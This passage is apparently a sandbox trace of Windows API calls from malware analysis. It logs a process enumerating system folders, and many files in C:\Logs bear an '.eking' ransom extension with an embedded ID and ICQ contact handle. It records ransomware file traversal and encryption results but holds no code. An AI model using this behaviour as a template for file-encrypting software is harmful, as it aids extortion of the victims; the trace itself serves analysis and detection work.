| out: lpFindFileData=0x2aef500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0xffffedc6, dwReserved1=0x9b6, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.994] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0275.994] GetProcessHeap () returned 0xaf0000 [0275.994] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.994] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0275.994] FindClose (in: hFindFile=0xb02c88 | out: hFindFile=0xb02c88) returned 1 [0275.995] GetProcessHeap () returned 0xaf0000 [0275.995] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0275.995] FindNextFileW (in: hFindFile=0xb02bc8, lpFindFileData=0x2aefa10 | out: lpFindFileData=0x2aefa10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0275.996] FindNextFileW (in: hFindFile=0xb02bc8, lpFindFileData=0x2aefa10 | out: lpFindFileData=0x2aefa10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0275.996] FindNextFileW (in: hFindFile=0xb02bc8, lpFindFileData=0x2aefa10 | out: lpFindFileData=0x2aefa10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0275.996] FindNextFileW (in: hFindFile=0xb02bc8, lpFindFileData=0x2aefa10 | out: lpFindFileData=0x2aefa10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0275.996] FindNextFileW (in: hFindFile=0xb02bc8, lpFindFileData=0x2aefa10 | out: lpFindFileData=0x2aefa10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0275.996] GetProcessHeap () returned 0xaf0000 [0275.996] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb95148 [0275.997] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ESD\\*", lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.998] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0275.998] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 0 [0275.998] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.998] GetProcessHeap () returned 0xaf0000 [0275.998] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb95148 | out: hHeap=0xaf0000) returned 1 [0275.998] FindNextFileW (in: hFindFile=0xb02bc8, lpFindFileData=0x2aefa10 | out: lpFindFileData=0x2aefa10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3e306ebc, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0275.998] FindNextFileW (in: hFindFile=0xb02bc8, lpFindFileData=0x2aefa10 | out: lpFindFileData=0x2aefa10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x79f19b1b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x79f19b1b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0275.999] GetProcessHeap () returned 0xaf0000 [0275.999] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb95148 [0275.999] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Logs\\*", lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x79f19b1b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7f2c171d, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0276.000] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x79f19b1b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7f2c171d, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0276.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7846d6ee, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7846d6ee, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x784b9d70, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Application.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="APPLIC~1.EKI")) returned 1 [0276.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7846d6ee, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7846d6ee, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x78493973, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="HardwareEvents.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="HARDWA~1.EKI")) returned 1 [0276.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x784b9d70, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x784b9d70, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x78daafa6, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Internet Explorer.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="INTERN~1.EKI")) returned 1 [0276.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x784b9d70, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x784b9d70, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x78f50450, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11122, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Key Management Service.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="KEYMAN~1.EKI")) returned 1 [0276.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78daafa6, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x78daafa6, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x791d6ba0, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MICROS~1.EKI")) returned 1 [0276.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fb37c0, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x78fb37c0, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x78fea2a8, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MICROS~2.EKI")) returned 1 [0276.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78fea2a8, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x78fea2a8, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x79aa1669, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x101172, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MICROS~3.EKI")) returned 1 [0276.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x791d6ba0, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x791d6ba0, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x791fe372, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MICROS~4.EKI")) returned 1 [0276.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x791fe372, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x791fe372, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x79224595, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI59E8~1.EKI")) returned 1 [0276.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79544003, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x79544003, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x795905bd, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI221E~1.EKI")) returned 1 [0276.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x795b6731, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x795b6731, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x795b6731, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIBEC9~1.EKI")) returned 1 [0276.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x795dcb6e, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x795dcb6e, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x798b32ca, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MID0D5~1.EKI")) returned 1 [0276.001] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798b32ca, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x798b32ca, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x79ef3a15, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIDFD1~1.EKI")) returned 1 [0276.002] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79aa1669, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x79aa1669, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7a5821d7, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x111152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI5EBE~1.EKI")) returned 1 [0276.002] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ef3a15, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x79ef3a15, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x79f19b1b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIB262~1.EKI")) returned 1 [0276.002] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7adda55c, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x2d1162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI7E24~1.EKI")) returned 1 [0276.002] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a961f13, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7a961f13, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7a988c47, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI85E8~1.EKI")) returned 1 [0276.002] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a988c47, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7a988c47, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7a9b941b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI495D~1.EKI")) returned 1 [0276.002] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a9b941b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7a9b941b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7abc4466, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11172, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI6263~1.EKI")) returned 1 [0276.003] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abc4466, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7abc4466, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7abea5c4, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI0971~1.EKI")) returned 1 [0276.003] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ac1086a, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7ac1086a, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7adda55c, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI9ECD~1.EKI")) returned 1 [0276.003] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7adda55c, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7adda55c, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7ae00661, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIFB4E~1.EKI")) returned 1 [0276.003] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b1a22d8, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b1a22d8, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b1c89c8, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI3843~1.EKI")) returned 1 [0276.003] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ae00661, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7ae00661, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7ae268e7, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MID793~1.EKI")) returned 1 [0276.003] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7aff0ebc, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7aff0ebc, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b582071, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x101182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI0A59~1.EKI")) returned 1 [0276.003] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b1c89c8, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b1c89c8, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b286f6b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIC542~1.EKI")) returned 1 [0276.003] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, 